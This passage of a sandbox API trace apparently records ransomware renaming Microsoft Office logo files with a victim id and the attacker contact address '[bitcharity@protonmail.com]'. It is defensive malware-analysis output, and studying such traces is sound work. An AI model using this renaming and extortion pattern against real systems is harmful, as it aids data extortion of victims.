Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogo.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.957] CloseHandle (hObject=0x1068) returned 1 [0266.958] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.958] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.958] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogo.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.959] CloseHandle (hObject=0x1068) returned 1 [0266.959] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.960] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.960] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogo.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.960] CloseHandle (hObject=0x1068) returned 1 [0266.961] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.961] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.961] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogo.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.961] CloseHandle (hObject=0x1068) returned 1 [0266.962] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.962] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.962] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogo.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.962] CloseHandle (hObject=0x1068) returned 1 [0266.963] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.963] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.963] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogo.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.963] CloseHandle (hObject=0x1068) returned 1 [0266.964] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.964] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.964] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogo.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.964] CloseHandle (hObject=0x1068) returned 1 [0266.965] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.965] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.965] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogo.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.966] CloseHandle (hObject=0x1068) returned 1 [0266.967] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.967] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.967] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogo.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.967] CloseHandle (hObject=0x1068) returned 1 [0266.968] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.968] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.968] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogo.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.968] CloseHandle (hObject=0x1068) returned 1 [0266.969] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.969] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.969] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogo.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogo.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.969] CloseHandle (hObject=0x1068) returned 1 [0266.970] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.970] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.970] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogosmall.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.970] CloseHandle (hObject=0x1068) returned 1 [0266.971] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.971] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.971] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogosmall.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.972] CloseHandle (hObject=0x1068) returned 1 [0266.972] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.972] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.973] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogosmall.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.973] CloseHandle (hObject=0x1068) returned 1 [0266.974] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.974] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogosmall.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.974] CloseHandle (hObject=0x1068) returned 1 [0266.975] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.975] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.975] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogosmall.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.975] CloseHandle (hObject=0x1068) returned 1 [0266.976] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.976] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.976] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogosmall.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.976] CloseHandle (hObject=0x1068) returned 1 [0266.977] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.977] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogosmall.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.977] CloseHandle (hObject=0x1068) returned 1 [0266.978] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.978] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogosmall.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.978] CloseHandle (hObject=0x1068) returned 1 [0266.980] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.980] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.980] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogosmall.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.980] CloseHandle (hObject=0x1068) returned 1 [0266.981] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.981] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.981] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogosmall.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.981] CloseHandle (hObject=0x1068) returned 1 [0266.982] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.982] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.982] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogosmall.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.982] CloseHandle (hObject=0x1068) returned 1 [0266.983] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.983] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.983] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\PowerPntLogoSmall.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\powerpntlogosmall.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.983] CloseHandle (hObject=0x1068) returned 1 [0266.984] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.984] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologo.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.984] CloseHandle (hObject=0x1068) returned 1 [0266.985] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.985] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.985] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologo.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.985] CloseHandle (hObject=0x1068) returned 1 [0266.986] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.986] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.986] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologo.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.986] CloseHandle (hObject=0x1068) returned 1 [0266.987] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.987] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.987] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologo.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.987] CloseHandle (hObject=0x1068) returned 1 [0266.987] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.988] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0266.988] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologo.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.988] CloseHandle (hObject=0x1068) returned 1 [0267.245] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.245] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.245] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogo.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologo.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.423] CloseHandle (hObject=0x1278) returned 1 [0267.424] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.424] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.424] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogoSmall.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogosmall.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.425] CloseHandle (hObject=0x1278) returned 1 [0267.426] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.426] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.426] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogoSmall.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogosmall.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.426] CloseHandle (hObject=0x1278) returned 1 [0267.427] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.427] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x28dfec0 | out: lpNewFilePointer=0x0) returned 1 [0267.427] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogoSmall.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 